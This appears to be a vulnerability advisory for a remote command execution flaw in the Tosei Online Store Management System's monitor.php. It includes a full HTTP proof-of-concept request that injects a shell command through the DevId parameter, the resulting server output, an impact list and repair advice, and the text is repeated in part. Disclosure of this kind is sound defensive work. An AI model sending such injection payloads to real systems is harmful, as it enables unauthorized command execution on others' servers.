Tosei Online Store Management System ネット店舗管理システム Remote Command Execution (RCE) vulnerability V1.01
NAME OF AFFECTED PRODUCT(S)
- Tosei Online Store Management System ネット店舗管理システム
Vendor Homepage
submitter
Vulnerable File
- POST /cgi-bin/monitor.php
VERSION(S)
PROBLEM TYPE
Vulnerability Type
- Remote Command Execution (RCE)
Root Cause
- The root cause of this vulnerability is improper input validation and sanitization of the DevId parameter within the monitor.php script.
Insecure API Sinks: The backend application likely utilizes dangerous PHP system execution functions such as system(), exec(), or shell_exec() to interact with the underlying operating system.
Lack of Escaping: The application fails to sanitize shell metacharacters. By injecting a semicolon ;, the attacker terminates the intended command and forces the shell to execute a second, arbitrary command.
Impact
- Full System Compromise: An attacker can execute any command with the privileges of the web server user (contec).
Data Exfiltration: Attackers can read sensitive files (e.g., /etc/passwd, configuration files containing database credentials) or dump application data.
Privilege Escalation: Although the current user is uid=501, the outdated kernel and software versions on this server likely contain numerous unpatched vulnerabilities that would allow an attacker to easily gain root access.
Lateral Movement: The compromised device can be used as a "beachhead" or proxy to scan and attack other internal assets within the organization's network.
Vulnerability details and POC
Vulnerability location:
- POST /cgi-bin/monitor.php
Payload:
Parameter:
monitor.php (POST) with DevId parameter
Payload:
POST /cgi-bin/monitor.php HTTP/1.1
Host: [Target IP]
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
doput=ON&DevId=;id;&Port=1
The following are screenshots for POC:
;: Acting as a command separator in Unix/Linux shells, it tells the system to execute the next command regardless of the success of the previous one.
id: The injected command. It instructs the operating system to return the current user's identity information.
;: Trailing separator to ensure any subsequent characters appended by the original script do not cause a syntax error that might suppress the output.
Execution Confirmation: The server response (HTTP 200 OK) explicitly returns the output of the id command at the top of the body: uid=501(contec) gid=501(contec) This confirms that the operating system interpreted and executed the attacker's injected string.
Suggested repair
-
Input validation and filtering:
Implement a strict allow-list for the DevId parameter (e.g., ensure it only contains alphanumeric characters)..
-
Use Escaping Functions:
If shell execution is unavoidable, wrap the input in escapeshellarg() to neutralize metacharacters.
-
Regular security audits:
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
Tosei Online Store Management System ネット店舗管理システム Remote Command Execution (RCE) vulnerability V1.01
NAME OF AFFECTED PRODUCT(S)
Vendor Homepage
submitter
Vulnerable File
VERSION(S)
PROBLEM TYPE
Vulnerability Type
Root Cause
Insecure API Sinks: The backend application likely utilizes dangerous PHP system execution functions such as system(), exec(), or shell_exec() to interact with the underlying operating system.
Lack of Escaping: The application fails to sanitize shell metacharacters. By injecting a semicolon ;, the attacker terminates the intended command and forces the shell to execute a second, arbitrary command.
Impact
Data Exfiltration: Attackers can read sensitive files (e.g., /etc/passwd, configuration files containing database credentials) or dump application data.
Privilege Escalation: Although the current user is uid=501, the outdated kernel and software versions on this server likely contain numerous unpatched vulnerabilities that would allow an attacker to easily gain root access.
Lateral Movement: The compromised device can be used as a "beachhead" or proxy to scan and attack other internal assets within the organization's network.
Vulnerability details and POC
Vulnerability location:
Payload:
The following are screenshots for POC:
;: Acting as a command separator in Unix/Linux shells, it tells the system to execute the next command regardless of the success of the previous one.
id: The injected command. It instructs the operating system to return the current user's identity information.
;: Trailing separator to ensure any subsequent characters appended by the original script do not cause a syntax error that might suppress the output.
Execution Confirmation: The server response (HTTP 200 OK) explicitly returns the output of the id command at the top of the body: uid=501(contec) gid=501(contec) This confirms that the operating system interpreted and executed the attacker's injected string.
Suggested repair
Input validation and filtering:
Implement a strict allow-list for the DevId parameter (e.g., ensure it only contains alphanumeric characters)..
Use Escaping Functions:
If shell execution is unavoidable, wrap the input in escapeshellarg() to neutralize metacharacters.
Regular security audits:
Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.